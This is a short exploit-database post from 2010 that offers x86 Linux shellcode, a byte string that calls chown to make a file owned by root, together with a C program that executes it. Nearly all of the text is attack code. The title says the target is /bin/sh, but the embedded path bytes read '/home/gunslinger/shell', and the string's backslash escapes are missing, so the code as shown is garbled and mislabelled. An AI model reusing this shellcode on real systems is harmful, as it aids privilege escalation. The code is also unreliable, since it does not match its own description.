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# Title : 48 bytes chown root:root /bin/sh x86 linux shellcode
# Published : 2010-06-06
# Author : gunslinger_
# Previous Title : Allwin MessageBoxA Shellcode
# Next Title : x86 linux hard / unclean reboot (29 bytes)
/*
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0 _ __ __ __ 1
1 /' __ /'__` / __ /'__` 0
0 /_, ___ /_/_ ___ ,_/ / _ ___ 1
1 /_/ /' _ ` / /_/__<_ /'___ / /`'__ 0
0 / / / / __/ _ _ / 1
1 _ _ __ ____/ ____\ __\ ____/ _ 0
0 /_//_//_/ _ /___/ /____/ /__/ /___/ /_/ 1
1 ____/ >> Exploit database separated by exploit 0
0 /___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name : 48 bytes chown root:root /bin/sh x86 linux shellcode
Date : Sat Jun 5 15:32:40 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>
char *shellcode=
"xebx13" /* jmp 0x8048075 */
"x31xc0" /* xor %eax,%eax */
"xb0xb6" /* mov $0xb6,%al */
"x5b" /* pop %ebx */
"x31xc9" /* xor %ecx,%ecx */
"x31xd2" /* xor %edx,%edx */
"xcdx80" /* int $0x80 */
"x31xc0" /* xor %eax,%eax */
"xb0x01" /* mov $0x1,%al */
"x31xdb" /* xor %ebx,%ebx */
"xcdx80" /* int $0x80 */
"xe8xe8xffxffxff" /* call 0x8048062 */
"x2f" /* das */
"x68x6fx6dx65x2f" /* push $0x2f656d6f */
"x67x75x6e" /* addr16 jne 0x80480f1 */
"x73x6c" /* jae 0x80480f1 */
"x69x6ex67x65x72x2fx73"/* imul $0x732f7265,0x67(%esi),%ebp */
"x68" /* .byte 0x68 */
"x65" /* gs */
"x6c" /* insb (%dx),%es "(%edi) */
"x6c"; /* insb (%dx),%es "(%edi) */
int main(void)
{
fprintf(stdout,"Length: %dn",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}